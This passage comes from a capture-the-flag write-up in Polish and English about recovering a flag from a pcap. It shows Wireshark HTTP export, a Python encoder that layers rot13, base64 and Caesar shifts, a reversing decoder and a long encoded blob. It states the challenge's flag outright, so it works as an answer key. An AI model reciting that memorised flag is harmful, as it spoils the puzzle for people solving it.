rcElaMFJTVjJWWVVtdFdjREZMWjBkV1NWUnZjMDVTYm5OUlZrZGhaR1F4U25abE0zTnJVak5DV0ZwWFlXUlRNV2QxVlc1S1QxSXhXbGhWTW1GWFZYQkdkVmR3UmxwbFdGSklWRzVhYmxaV1JuZFNiMUpUWkRKNlkxWndNWHBTTVZWaVVsaHZhMUp2V2xkVVZ6VlRaRVphZGxkdlRsZGxTRUpIVlRJeE5GVXhXblptUm05WFpERnphMVpVUmxObU1YTkdWM0JyVTFKdWMxQldiVUp1WlRBMVYxWllaMnRUUlRWeVZtMUJNVmRHV2toTldHZFlaVVp6TVZWWGQzcFdiMXAyWmtaQ1YxSXpUalJaTW1Ga1YxWnpSMVJ3YTA1bFJYTlRWbTVtWVUxSFRXRlViMnRXWkRKcmRGVnZWVEZXVmxwMlZXNW5UbFp2YnpWWk1GWkxWREZhZDA5VVRsZGxXRkY2VmpKMllXWXlUa1pYYjFwT1VtOXVlbGRVUm01VU1sSllVMjVhVDFZelVsaFdjREV6VFZaYVdHaEhkMDVTYm5Nd1ZuQTFWMVV5UldKa1JsSmFWak5TVEZWalJucFhSMUpIVkc5V1UyUXpRbGxXYm1jd1pqSktSMU51V2xoa00xSlhXVzlyVTJadldYcFdWRVp0WlZWelIxbHVaekJXTURGV1prVnZWMVl6UWtSVmJVWmtVakZTZFdWSGMxTldjVUpqVjFjeE1HY3hXblprTTJ0WFpESlNWVlJXV25wVFJscElhRWhPVmsxV2MxcFdWM2R1VmpKRllWZHhjMVpOVjFKWVZtMUtSMU5YU2tkVmIyZHNWbTVXTTFadldtUldNa2w2VGxWclUyVnVjMnRWYjJ0RFZsWmFkMmhJWjA5U2NVSlhWbkExVDFaR1duVm1Sbk5ZWkRGYVRGWlVRV0ZTTVVwMFZHOWFUbFl4U2tsWGJtYzBXVlphZGxkeFJsTmxSVFZ6VlhCaGVtaEdXbFZUYlVKUFVtNDFXRmxVVG01WlZrcFpVVzlXVmsxSFVUQldNVnBYWm05YWQwOVdTbXhTY1VKSVZtMUtNR1l4V2tkVFdITldaRzlhV0ZadVZtUm1iMWw2VjI0NWJVMVZOV0paTUZwdVZqRmFkV1pGWVZkV2IzTjBWRlphVDJZeFduaFViMVpyVFRGS1ZWZFhNREZSTURWSFprWmFXbWh2V2xCV2NERXdUVEZuZFdSSFJsZGxWVmt5Vlc5cmNsWndTbGxrUm10V1pWaE9ORlZ3WVc1bWNFNUhXa1UxYTAwd1NrVldiMUpEWkRGUllsSnZaMVZsUmxwVldWaHpWMlp2V25aVmJrNVBaVWRTVmxWWE5XNWxSbHAxVGxWeldtUXhjMFJXVkVaTFYwZEdSazlXWjA1V2IzTXhWMjVTUjJkd1ZrZFZjVlpYWlVaemNsUlhOVkpvYjFwWWFFZEdWRTFFUmxoWmJtdExWMGRGWTJSSVRsZGxXR3N6Vkc5YWVsWXlSa1phUm5OWFpETkNObFpYTVhwV01WcDJWMjluV0dRemEydFZjR0Y2Wm05elZsZHZaMjVTYjBwaldUQmFVMVV3TVVkbVJXdFhaVWRSZWxkV1ZURlNNVnAwVjI5V2EwMXZTbGxXVjNOQ1RWZE9SMVpZYTFaa01EVlZWbTFDWkUxR1VuWlhiMDVXWlVaelkxWXlNWEpXTVZwMlprWkNWbWh1V2xCYVJtZExVbTluZDFKd2EwNWxjR3RNVmpKM1pGbFhSV0ZVV0d0c1VtOXpUMVZ1Vmt0bVJtOVZVMjFTVWsxV1NsZFdjR0Z1VmtaS2RtWklhMVpsV0ZGNlZuQXhSMDV2U25abFJtZFRaVWhDVVZaWE1HRlRNazUyWlROelpGSnZjMDlWTUZaTFUwWmFXR1pGWjFWTlZuTklWa2RoVjFWd1NsbFJjR3RXWlVkU1VGUnVXbVJTTVZaMldrWk9UbEpGV1hwWGJsWlhUa1phU0ZOeFZsSldSVnBZVlc1V1MxWXhjMFZTY1VwdlpWVTFSMWx1VlRGVk1VbGpaRVp6VjFaalJUQlZNakZYVWpGbmVGWnZVbXROY1d0aFZuQmhVMll4VFdGbVJscHJVbkJTY2xsdVZucFNNVzkxVm5GblZVMVdjMWhXY0hOUFZsVXhXRlZ2VWxabFdHdFlXa1puUzFORk1WZFZiMnRUVFhCUlkxWXhXbE5STVZsaFZIRlNWbVZIWVZoWlZFNURWakZTVlZGd1JtNWxSbHBqV1ZWbU5WUnZXWHBYY1c5YVZrVTFkVlp1V2xwbk1XZDFaVVphVGxZeWF6WldjSE5MVkRGbldGSnVaMVpsUmtwVVZuQmhkV2hHV2xkWGIxcFBWbTQxWTFsdVduWmtWa2xpYUVaV1YyUXhXak5XUkVaa1ptOW5lRnBHV2s1U1JWcFlWa1phVjFsV1VuWlhiMmRZWlc5S1YxUldXa3RUUm05WWFFaEtiazFXV21KWmJscDZWRzlaWWxvemExZGxSa3BEV2tSS1VtaEdUbGxhUjBaVFpEQnpVVmRXVWtkWGJqRjJWMjlXVTJWSFVsUldjSFpoVG05V2QyaEhkMnRXTUhOSVZqSTFSMVl3TVZkWGIyZGtWbFp6WkZwWE1VZFNiMXAyVlc5blRsTkZTVEJXTVdaaFRrWlJlazFXWjFoa01YTlpXVlJPVTFaR1duWmFSemxUVFZoQ1dWUnZWbTVrUmtsNlRsWnpXbFpXV210V2JVcExabTlPZGxadldsZGxWMnRaVmxkelIxbFdaMGRWY1U1clVtNDFjbFJYWVV0V2IxcDJWVzVPVmsxVk5WaFdWMkZrWkZaT1IxZHZaMXBsV0d0clZtOWFkbWRGTlZsYVJUVlhaRE5CWVZaWE1ERlZNVloyVjI5clZtUXlVbXRXYlU1eVZVWlpZbWhHVGxkTlZrcGlWakpoWkZSdlowWlRiMmRZWkRGemExcEVSa3RuUmxwMldrWldhMDB5YTFaV2NIZFhVekpXUjJWR2EyNVNNRnBWVlhCaFMxZEdXa2huU0U1WFVtNDFTVnBWVm5aV2NFWjFWMjVoV21WWWEwdGFSRVo2VW5CS1NHWkdaMnhUUlVZMFZuQmhVMVF4U1dKVmIyZFZaREpoYTFWd1lVdFhSbEpWVVhGblZFMVdXbU5YYm10dVpVWktkbVpGYTFkU1kwWjVXVlpuUzFKd1RrWlViMmRyVFZaek1sWlVSbFpPVmxwMVQxWmFUbFp2U25OWlZFWjZVa1phVlZKd09XeE5ialZpVkZaclMxWndSV05SYjFwWFpYRkNXRlJXV25wWFJUVlhXa1pyVTJRelFsaFhWRUpUVWpGYWRVMVZhMVZrYmpWWVZXOW5VMDB4Vm5SU2JqbFlWakJ6U0ZaWFlVOWtWa3AyWmtoclYxZElRbEJWWTBaV2FGWldkVlp2V214bFYydFlWMVpTUzAwd01YWldXR2RXWkdOdlZGbHVXblpOTVZsaWFFVTViRkp2YzFwVlYzWXhWbTR4U0ZWdlFsZFdWbk5RVm0xR1QyWldTblptUlRWVFpETkNURlp1V21SWlZsRmhaVVpuV0dReWEzUlVWRXBUVmtaYWQyZElXbTVOVjJGV1ZWYzFUMVF4U25WT1ZtdGFWbGRyZFZadFJtUldNV2QwVW05YVRsWnhRazFXY0hka1ZERmFkbGR4U201U2IxcFlWbTVuTTAxR1duZG5SMFpWVFZWdk5WWkhOVmRrVmtwVlZtOXJWVlp3YTBSVk1tRlRWakZhVlZadlVrNWxSbk5ZVjFkM2JtWXhXa2hUYjFwWVZrVmFXRmxYZDB0b2IzTkdWMjQ1V0ZadmMySlhibHBrWkVkRllXWkdRbGRXTTJ0VVZWUkJNVll5U2tsVGNFWk9UVzlLVjFad1lXNWxNVXAyVm0xYVUyUmpiMWhaYmxaNmFGWnZWbFp4VGxWbFJuTllWakZTUTFkSFJuVlRjVXBXVFhGT05GVXhaMGRUVms1MlZHOU9WMDB5YTFGV2NEQjZaekF4Vms1WVRsUmxSMnR5Vlc5YWVsWkdVbGRXVkVaWVZtOWFNVmt3Vms5VWIxcDNhRVpyV2sxR1dtTlpWRVprWmpKT1NHUkdXazVsYjBwWlZtNWFaRlV4U25kU2JsWlRaVVp6VDFsWE1XTm5NVnAxVjNCM1UwMVdTbU5XY0dGa1pGWktSbGR2VWxwa01YTnJXVEZhWkZJeFduWmFSbEpYVFVSV1dWWnVaekJXTVZwSFUyOVdVMlF5YTFoVmNHRjZWVEZTVjFaVVJsZGxSMUpqVm5CaFQxVXhTbGRtUld0WVZqTnJWMVJ2V21SU01WSjJWbTlLYkdReGMzcFdWMkZ1WkRBMVIxZHVaMVpsUlRWVVZGWmFaRTFXYjNWWGNXZFdUVzV6TVZWWGMxTlpWbHBYVjNGdlpGSkZXbFJWTUdkUFUxZEtTR2hHWjFkTk1tdGFWbkJ6UzAxSFRXSldibXRVWlVaeldGbFhZV1JYUm05MlpFWk9VazFXV1RKV1J6VlBWakpLUm1WalNsZFNNMUpyV1ZablMxTldSblZvUm5OWFVsWnpVVlpYTUdGV01VNVlVMjVyVGxZelFsaFpWRWswYUVaYVdFMVVVbTVOVlRWSVZrZGhibFpYU25aWGIxWlhaVlJXUkZwV1dsZG1NVnAzWjBaV1RtUXhXV05YVjNkWFpqSkdkbE5ZYzFaa1kyOVlWbTFPY2xWR1VsZFhiamxYWlZVMVJsVndZV1JXTVZwMlprVXhXRlpGV25WWFZscFBabTR4Vm1SSGMxUlNWbk5oVmxkM1ZrMVdVV0ZYY1VwWFpWVmFWMVJWVWtkV01XOVdWbkJHYkZKdmMxZFdiMnR5VjI0eFYxZHhXbFpOY1d0aldUSmhlV2h2YzBobVJtZHNWakpyVFZadlVrZFpWMFZpVlc1clZXVnVjM0pWYmxwa1ZtOVNWbHBFVWxkU2IzTklWakl3TlZVeFduVk9WVnBXWlZocldGWnVXbVJtYjJkMlZtOWFhMlF3YzNKV1ZFSmtWVEpTU0ZWdVdtNVNiMHBQVkZjMWNsZFdaMVZTY0VaVlRWVTFZMVl5TlZOVU1WcEhVMjlTVjJReFdreFZiVVpXYUZVMVdWUnZVbE5rTTBKSVYxWldVMVV5UmxkVGIxcFlaRE5TYTFWd1lYcE5NV2RYV2taS2JrMXVjMGRaYmxwVFpGZEtkVk5VUWxkbFdFSlFWVlJHVm1oR1VuWmtSbHByYUc5YVdWWndZV1JaVmxwSFYxaHZiVkpYVWxOWmJscDZVMjlWWW1aR1oxWk5WbTgyVlZkM01GWnVNVWhrU0hOWFRVZFNVRnBHWjBkVFYwWkhXa1puVjJWdVNrMVdjSGRrVlRGRllWTllhMVZrTW10clZXOW5VMlpXV25aYVJ6bFBVbTl6TUZwRlZqQldSMHBIWlVSYVYyVllVak5XYm1kTFpqRm5WVkZ2YzA1bGIwb3lWMjlXWkZOd1VXRldiMjlrVWpOcldGWndOVU5UYjFwVlVtOWFiMUl4U2xoV1IyRnVWakpLUmxOdU9WWmxSbk5rVkZaYVZtaEdXbmRuUmxKWFpHTkZNbFp3TUdGTlIwWllVMjVuVkdSamIxaFVWVnBrWjFaelYxcEZXbTVOYjFwSFYyNWFUMVJ2V2xWUmJWWllWa1ZhVkZWVVJsTm1Na3BKVTI5YWEwMHhTbEZXY0RGalRWWlJZVlZ2YTA5V2NGSlZWWEIzZGs1R1dsaE5XR2RXWkdOR1JsVndZVk5YYmpGWFpraEtaRlp3VWxoV01GcFRaakZhZGxWdlRsZE5NbXRrVm01YWJrMUdXV0ZVV0c5VlpVZHJWVmx3TVhKV01XOTJWbFJHV0ZKdldtRlZWelZQVmtkS1IyWkdhMXBOUm5OVVZsZGhXbWh3UmtaYVIwWlhaVVp6TmxaSGQyNVRjRlozVW01YWJGSXlhM0phVjNka1ZqRmFTR2hIYzA1V2IwcGlWRlpXY21ReFRrZFRiMUpYVFVkU2VGUldXbnBXYjFwNFdrWm5WMlZHV1RCV2JVb3daakZTZDFKdFdsTmxSbk5YV1c5clExUkdWblpXV0d0WFpWWmFSMWx1WjBkVWIwcDRVVlJDVjFkSVFsQlpZMFp1VTBaU2VGVnZUbXhsVjJ0WlZsZGhiazVHV1dGWGJsWlVaVzQxVkZsdVZURlRWbWQxV1ROclYxSnVjMGRaTUZwWFZqSktXVlZ3YTFaTmNXdFVWbTFLVDFOR1NuWmFSbEpUWlVoQ1UxWnZaelJsTWsxaFUzRlNVMlZ1YzFsV01HZFRabFphZDJoSFJsUldjR0ZqVm5CaGJtUXhXblZtU0d0V1pWUkdTRlpIWVV0WFYwWkdaa1pyYTJRelFrMVdWRW8wVmpKU1YxZHhVbXRTTW1GelZXOWFlbFZHV2toblJscHVUVzlhV0ZVeVlYWmtiMDVJYUVaclZrMUdXbXRWVkVaWFowZFdSMVJ2WjFObFZrcFlWa1phWkZVeFZXRlhjVTVVWkc1YWExWndZV1JUUmxsaWFFVjNWMlZWV2tsWk1GcFBWRzlLZFdaRk1WZGxSa3BJV1dOR1QxWXlTa2RYYjJkc1VtOXpWVlp3ZDFkWlZUVkhWbGhuVjJWSFVsQldjSFl4VjFaVlltZEhPVmRTYm5OWldsVm1OVmR1TVhSV2NWcGFaVmhyYTFadFNrOVNNVloyVTI5bmJGSlhPR0ZXTW1GWFpUSk5ZVnBGWjFWbFIyRnpWVzFPUTFaR1VsVlJjVnBPVW5CU1lWVndNRFZXVjBZMlVXMU9WVTFYYTFSWlZ6RkxVbkJKWTJSR1oydGtNSEpqVm05U1IxVXhXV0ZhU0VwVlpVWktUMVp2VWxab1JscFZVbkJHVkUxV2MwaFdSMkZrVmpKR2RsTnhSbGRsUmxWaFZWUkdWbWN5UmtoUFYzTlhaVVZ6UjFadVp6QlRNa1pZVWxoclYyUnVOVlpVVmxwa2FHOVdkMDFXWjI1V2JuTmpWbGN4ZGxSdU1YZGtSa0pYWlZoQ1JGa3lNVmRXTVZaMlpVWm5hMDF4YTJ0V2NHRmtXVlpTZGxaeFNsZGxWRzlRVm5CaFIwNXZWbGRrUnpsWVpHTkdZbFl5YzBkV01WbzJVbGhuVjJReVVreFpZMFpQWm5CT1JrNVdUbGRsYmtwTFZuQjNVMUV5UldGVWNVcE9WbGRyZEZVd1ZtUm1WbTkzVFZjNVYxWnZjMkpXY0RWUFZrVXhkbE52YTFwTlJscHJWa2RoU21oV1ZuaFZiMXBYWlVaek1sZFdaelJUTWxKR1QxWm5WR1ZHV2xoWldITlhVMVpuZGxad1JsVk5Wa3BJVlRKaGRsbFdTblZUY0VaYVZrVnlNRlp1V2xab1JtZDNVbTlXYkZKdmNucFdNbmRrWmpGYVIxUnVhMVpsUmxwWFZGYzFVMDB4VW5WYVJtZFlWakJhU2xsVldsTldSa3AyWmtoclYxWXpVbGhaWTBaUFpqRmFXV1ZGT1ZkWFJVcFVWbkExZWxZd05VZFZiMnRQVmxaelQxbHVWVEZvYjFWaVRsYzVWMDFFUmtsV1YzWmhWMjR4VjJaSGEyUlNjRkpZVlhCaFpGZFdjMGRVYjJkWVVsVnpORlp0Um01TlIwbGlVbTVyVldReWEzUlZNRnBrVmpGdldXWkZTbTlTYjFvd1ZHOXJUMVZ3U2taT1dHOWFUVVpLV0ZaWFlXUldWMHBGVkc5YVRsSnZXVEJXVkVvMFZURlpZVlp2VmxOa1kyOVVWbkExUTFaV1drZFhiMmRQVW01elkxWndOVmRXTWtwMVYyOVNWbVZIVVRCWk1WcFdhRVphV1dSR1oxZFdSMkZYVm05blkwMVdVblZOV0VwUFZqQmFWMWx2YTFObWIxcEZVMjVhYmsxWFVtSmFWV2MwVmpKS1YxTlVSbGROVm5OWVZuQjJZVkl4VG5oVWIwNXJUVmhDVUZaWFlXUlpWazVYVjI5V1UyVllVbFZXY0RFMFYyOWFkMmhIZDFaTmJsWTFXbFZXTUZZeVJXRlhiMmRrVWtWYVVGWndNVWRTYjJkM2FFWm5iRlp1Y3pOV2IyWjZUVmRKWVZSeFRtUlNjR3RSVm5CaGVsWkdXblZYY1dkVVVtOXpXVlJXVWtOa01VcDFaa1p6V2xaWFRXRldNakZMWm05T2RXWkdaMU5sVmtwSlZsZHpSMWxXV25aWGNVNVhaVVpLV0ZZd1ZrdFNNVnBIVjI5blYyVldXa2hXTVd0eVYwZEtkMlJHVmxabFJrcElWakJhVm1jeFZuVlBWMkZUWlVoQ1NWZFhjMDlrTWtwSFYzRlNiMUpYVWxkWlYzZEdUVlpTZFZkdVoxZGxWWE5KV1c1bmNtUldUa1pUYmpGWFZqTnJWRlp0Umtwbk1ERlpWWEJ6VGsxdlNsVlhWM2RYWjNCUllWVnhUbGRsV0VKMldXOWFaRmRHWjNWV2NXZFZaVlZhWTFZeGEzSldjRXBaVVc1clYwMUdWalJaTW1Ga1pqRlNkMmhHWjFkU00ydElWbTlTUTFZd05VaFZibWRWWkRGYVUxbFVRbnBWUmxwMlYzRmFiMlZHYzFaVlYzWTFWVEpLUm1WRVRsVmxSMnRNVm01YWJsTldSblpXYjJkT1VtOXpNVmR2Vm1SWGNGWkhWbkZLWkZKdmMzTlpiMnR5VjFaYVdFMUVSbTVOYjFwSlZsWnJlbFZ2WjBsUmNVcFhaVVp6TTFVd1dtUm1NVnA0Vkc5blUyUXpRbGRXVm1jMFZUSkdSazFWYjFKV1JWcFlXVmQzZWxSR1ZsaE5WbWRVVW05S01GbFZaM3BWTWtWalVXMUdWMlZZUWtoYVJFWk9hRlpLV1dSR1dtdE5NVXBqVmxSQ1pGWXdNR0ZXV0d0WVpVVTFXRlZ3ZGpGWFZsSjJWM0JHYTJWR2MwaFdNbmQ2V1ZaWlkxVnZhMVZsV0d0VVZYQXhUMUpXVm5WT1ZtZFhUVEpPTkZadFJsTlNNa1ZpVm05clYyUXlVbFpaYm1keVZsWlZlbVJGU205U2NVSlhWbkJoYmxaRk1WaG5SRlpYVFhGU1kxWkhkbUZtYmpWWFpFWmFhMlF3YzJKV1Z6RmpUVmRPZDFOdVoxaGxSVFZZVkZSS2NsTkdaM1pXY0RsWFRWVTFTRlV5ZDFkVmNFVmpVWEZPV2xaRmNucFVibHAxYUVabmQyZEdjMWRXUlZwWlYxUkNjbFV4VldGWGJWcFRaVVZhVjFsWGQwdE5NVnBWVW05T1ZGSXdOVXBXY0dGa1ZqRmFkbVpHV2xka2JuSXdWbTFHVjFJeFRsbGFSbXRzVWxoQ1dGWkdaelJuTVUxaFprWm5aRkpVYjFWV2JVRXhVMFphU0dkRmQydFdNRmt5VlZkelYxbFdTblptUld0V1pWaHJVRlp0Um5wU1ZsWjJVMjluVjAxd2FqRldjREJoVFVkRllWUnZaMVZsUjFKWVdXOVdaRlpXVWxobU0ydFBaVVpXTlZSdmEwOVhSa3AzYUVSQ1ZVMVdTbFJXYmxwa1pqSk9SVlp3UmxkV01tdEpWbTFDYmxNeVVsZG1SRnBXWkdOV1ZGWndZWFZuTVZsaVRsaG5XbFp1TldOV1IzZGtWRzlaWTFGeFJscGxWRVo1Vkc1YVpHWXhXblpYY0dGVFpERnpXRlp1WnpCa01WVjZUVlZXYkZKVk5WZFVWelZ5VjBaU2RsZHZjMjlsUlRVd1dWVmFUMVl5U2tsUmNEbFlaVVp6ZVZWdFNrcG9WbEo0Vkc5YWJHVlhhMk5XVnpWNlZtNHhSMVp4VGxobFdGSjFXVzVhWkZZeGIzVlhiamxXVFc1elYxWXlOVWRXTVVwWFYxUkNWazF4YTB4V2NERlRVMVpuZDJoR1VsTldjVUpKVm05bU1XY3hVV0ZTY1VwT1UwZHJkRlZ3WVhwWlZsSldaRWM1VlZKeFFsZFpWV3RQVjBaS2RXWkZaMXBXVmxWaFZtNWFUMUp2VG5aWGIxWnNVbkZDVVZaWGMwSm9SMUpJVlc1YWExSXpRbk5aYjJkdVRrWmFWMWR2WjFOTlZuTllWbTlyY2xkSFJXSmtSbFpWVm05VllWWndZV1JTTVc1alpFWm5VMlZXU2t0V1ZFb3daekZhZFUxVmExWmtNbUZXVm05YVpGZEdXV0pvUlRsVFZtNWFNVmxWV21Sa1JURlpVVzlTV0dWR2MxUldSRVpMWjBaV1dWcEdUbXROY0d0VlYxWm5NRk14VFdGYVJtZFhWMGRyV0Zad01UQk9SbGxpVFZWblYxSXdjMWxXUjNOUFZuQktSMlpGWVZWbFJuTXpXVEl4UzFJeFduWlhialZUVFRKclVWWnVXbE5SY0ZaSFYzRk9WV1F4YzNKVmNHRkxWa1pTVm1SSE9WVlNjVUpYVmxkM2JsWkhSalpTYm1kYVpERnphMVpVUmt0WFIxWkZWVzluYTJRd2N6RlhibEpIVm5CV1YxZHhTbGhsUmtwVVZGZGhTMmN4V2xWUmNIZFRUVzlHTlZWd05VdFhSMHBIWmtaT1YyUXhjMnRWTUZwWFRtOU9kVTlXVW14U1dFSmtWMVpXYlUxV1dXSlRjVXBUWkc0MVYxUldaMU5UUm5ORlVuQkdWMlZGYzFwWk1GcFhWakZLVmxkWWMxZFNjRkY2Vm0xR1QyWXhXbGxrUjBaVVVqRktWbFp3YzBKTlZrNUhWMjVuV0dWRmMzWlZiMUpYVWpGU1ZtUklUbFpsUm5OSFZUSjNORmxXV25abVIydGFUWEZyVEZZeFowdFRSMDVIV2tVMVUxSldjMWRXYjJjMFdWWlJZV1ZHWjFWWFIyRldXVzlyVTFaR1duWmtSVXB2VW05Wk1sVlhOVXRrTURGMlYyOXJWMDF0Vm1OV2JsVmhVbTluZFZSdlowNWxiMFl6VjFabk5GVndVV0ZYY1VaWVpVaENUMWxVVGtOVGIxcFpaa1U1YlUxV2J6UldWMkZ1VlRKS1IxTnZaMXBXUlZvelZtNWFVMVp2Vm5WVWIxSlRaVVp6V1ZadVdsTlRNa1oyVTI5cmExSlViMWhaYjJ0VFpFWlZZVmR2VGxkTlZuTmlWMjVhYmxZeFdraGFNM05YVmpOQ1JGbGpSbTVTTWs1SlZIQnZUazF2U21GV1YzTlBVVEF3WVZkdlZsSmtNbEoxVm5CMk1WWXhibnBWYm1kc1VtNXpXRll5ZDNaV01VcEdaa2RyVmsxR1ZqUlZNV2RMVTBkS1NHVkZOVmRXUmxWNlZuQnpRMlJ1TVZkVVdHOVRWMGRTV1ZsWWMwZFdWbHAyV2tSU2JWSnZWalZhUldZMVZrZEtSMlZFVGxwa01tdFVWbTVhWkdadU5WWmtSbWRzVWpGS1RWZHVWbVJWTVVwM1UyNW5WV1ZYYTNKVVZWSlhVakZhVmxkdlNtNU5WVXBUVlVaUmVsQlJQVDA9'
decode(x)
```
Odkodowana wiadomość i flaga to: `flag{li0ns_and_tig3rs_4nd_b34rs_0h_mi}`.
### ENG version
> I was sniffing some web traffic for a while, I think i finally got something interesting. Help me find flag through all these packets.
> [net_756d631588cb0a400cc16d1848a5f0fb.pcap](transfer.pcap)
We load the downloaded file to Wireshark and after looking for a while on HTTP transmissions (menu File -> Export Objects -> HTTP) we find a source code:
```python
import string
import random
from base64 import b64encode, b64decode
FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}'
enc_ciphers = ['rot13', 'b64e', 'caesar']
# dec_ciphers = ['rot13', 'b64d', 'caesard']
def rot13(s):
_rot13 = string.maketrans(
"ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz",
"NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm")
return string.translate(s, _rot13)
def b64e(s):
return b64encode(s)
def caesar(plaintext, shift=3):
alphabet = string.ascii_lowercase
shifted_alphabet = alphabet[shift:] + alphabet[:shift]
table = string.maketrans(alphabet, shifted_alphabet)
return plaintext.translate(table)
def encode(pt, cnt=50):
tmp = '2{}'.format(b64encode(pt))
for cnt in xrange(cnt):
c = random.choice(enc_ciphers)
i = enc_ciphers.index(c) + 1
_tmp = globals()[c](tmp)
tmp = '{}{}'.format(i, _tmp)
return tmp
if __name__ == '__main__':
print encode(FLAG, cnt=?)
```
In the same transmission (Follow TCP Stream option) there was also an encoded message.
After reversing all the algorithms we get a decoding software:
```python
import string
import random
from base64 import b64encode, b64decode
FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}'
#enc_ciphers = ['rot13', 'b64e', 'caesar']
dec_ciphers = ['rot13', 'b64d', 'caesard']
def rot13(s):
_rot13 = string.maketrans(
"ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz",
"NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm")
return string.translate(s, _rot13)
def b64d(s):
return b64decode(s)
def caesard(plaintext, shift=-3):
alphabet = string.ascii_lowercase
shifted_alphabet = alphabet[shift:] + alphabet[:shift]
table = string.maketrans(alphabet, shifted_alphabet)
return plaintext.translate(table)
def encode(pt, cnt=50):
tmp = '2{}'.format(b64encode(pt))
for cnt in xrange(cnt):
c = random.choice(enc_ciphers)
i = enc_ciphers.index(c) + 1
_tmp = globals()[c](tmp)
tmp = '{}{}'.format(i, _tmp)
return tmp
def decode(pt, cnt=61):
for i in xrange(cnt):
c = pt[0]
if c == '1':
pt = rot13(pt[1:])
if c == '2':
pt = b64d(pt[1:])
if c == '3':
pt = caesard(pt[1:])
print pt
if __name__ == '__main__':
x = '2Mk16Sk5iakYxVFZoS1RsWnZXbFZaYjFaa1prWmFkMDVWVGs1U2IyODFXa1ZuTUZadU1YVldiVkphVFVaS1dGWXlkbUZXTVdkMVprWnJWMlZHYzFsWGJscHVVekpOWVZaeFZsUmxWMnR5VkZabU5HaFdaM1pYY0hkdVRXOWFSMVJXYTA5V1YwcElhRVpTVm1WSGExUldWbHBrWm05dk5sSnZVbXhTVm5OWVZtNW1NV1l4V1dGVWJscFVaWEJoVjFsdVdtUm5iMUpYVjNGS2IxWlViMWhXVnpFd1YwWktkbVpGWVZkbFIxRXdWa1JHVDJZeFRuWlhjRzlUWlZkclkxWlhZVk5TYmpGSFZsaHJaRkpVYjFOWmJsVXhWakZTVjFkd09WaFNNRlkyVmxjMVIxWldXa1pUY0d0WFpVWnpZbHBYWVhwVFYwWkhWM0JyVG1Wd2EydFdjSE5MVFVkSllsWnVaMWRsYm5OWldWUk9VMlV4VWxkWGJuZFVWbTl6V0Zad2QyNWtWbHAxVGxabldsWldWV0ZXYmxwTFZqRk9kV1pHYTJ0a01YTlpWbGN4WTJoR1NsZGxNM05yVW00MVdGbFVUa05OVmxwWVprVk9iV1ZXUmpWV2NIZHlaRzlLV0doRk9WVldjRkpVVm5CaFZtaEdaM1ZuUm1kVFpHTldXRlp3TVhwVk1XZDNVMjl2Vm1ReVVsWldiMmRUVlVaV2RGSndkMjFsU0VKSFZHOWFibFV4V25oUmJqRlhWak5yV0ZSdVdsTldNVko0Vm05T2EwMXdhMVpXY0dGdVpURlJZVmR4VWs5V1ZUVllWWEIzWkZkR2JucFdjSGRYWlZWYVlsWXlkalZXY0VwSFYzRmFWV1ZHY3pOWk1tRlhabkJLU0dSRk5WZE5WWE5JVm05U1IxWXlUblZOVm1kVVpXNWFWVmxVUm1SVU1WbDZWbkZhVGxKd1VsbFpNRlp1VlhCS1JrNVZiMXBOUjJ0TVdWY3hTMmRIVmtaYVJtZHJaREJ6Y2xaVVJtUldjRlpJVTI1YVdHUmpWbFZWYjFwNlVtOWFWMWR2WjJ4bFZrWTFWWEExUzFkSFJXSmtSazVYWlZock0xbFZXbVJXTWtaSlZHOVdVMlF6UW1SWFYzZFhaekZaZWsxVldsaGxSa3BYVkZablUxTkdXa2hvUm1kWFRWWktNVlp3WVhKa1ZrcFlaMk5DVjFaRmNucGFSRUV4VTBaYWRtUkdVbXhsVjJ0WVYxY3hORmxXWjFkV2NVcFhaVlJXVUZad1lYcFNNVnAyWkVkM1YyUmpSa2xXVjNkeVZuQkdkVkpVUWxWV00ydFFWbkF4UjFKV1ZuZGtSMnRPWlZaRllsWXhVa2RsTVZsaVZXOXJWMlZ2V2xoWlZFSjZabFp2VlZOd09VOVNiMWt5VlZjMVMyUXdNVlpPVlc5YVRVZFNTRlpVUVdGU01WcFpaRVphYkZkRlNrMVdSbHBrVkRGYWRsZHhSbFZsUmxwUFZtMUdTMU5XWjNaV2IxcHZVbTV6WTFVeGEzWlZNa1Y2WmtaQ1ZtVkhVVEJWWTBaYWFGZE9SbFJ2Vmxka1kxWktWakozWkdVeFdrZFhjVXB0VWxSV1pGbHVXbVJuVm5ORlVuRmFiMUp2U2pCVmNHRnVWVEF3WVZOdU5WZFdSVzVoV1cxQllWTkdTbmhXYjBwWVVqTnJXRlpHV21SWlZrNVhWVzluVjJWdU5WaFVWM2Q2VFZadWVsVnVaMWhTYjNOWVdYRnpTMWxXU25abVNFcFdUWEZPTkZVd1dsTm1NWE5IVkhCclRtVndhMUZXY0RCaFRrZFJZVlZ1WjJ0Tk1sSnlWVzlyVTJZeFduWmFSRkpYVm5CaFlWVlhNRFZXUjBwSWFFWnZWVTFXYzJ0V1ZFWmtaMGRHUlZKdloydE5iMFl6VmxoelIxTXhXbGRUY1VwWVpWZHJjMWxVUm5wV2IxbGhWVzVuV2xZeFNsaFdjRFZYVlRKS1IyWkdWbFpsUjFKMFdsVmFVMVp2V25kU2JqbFhaR05XV0ZZeWQzSmtNVnAzVTNGS1ZHVndhMlJVVlZwNlZVWldkMmhIZDIxbFIxSmpWa2RoVTFZd01YZGtSV3RYVmtWS2VWWnRRVEZTTVZaMlpVZHJVMUpWYzNsWFZsSlBaREExZGxadloxWmxWVnBVVkZabk5GWXhVV0ZXY1U1WFZtNXpXbFZYTlVkV2NFWjFVMjluWkZKRldsQldNRnBYWjFaYWRscEdUbGRTVm5Oa1ZuQnpTMDVHV1dKU2NVNVdaREZ6V1ZsdVZucFdNVkpYV2taT1QxSnZTbGRXY0hOVFpERktkV1ZqU2xaTlZrcElWbkIyWVZJeFduUlZiM05PVm05dk0xWlhNVFJXTWxKWVUyNXJiMUl6UWxSVmIxWjZWRVphZEZKd2MwNVdiM05qVm05cmNsWndSV05SYjJkVlZqTk9ORlJ2V2xkbU1rWklUMVU1VjJReWVtTldiMlpoWlRKR2RsZFlhMVJrTTBKV1ZtOW5jbWh2V2xWU2JuZHRUVlp6TUZrd1dsTlZNV2R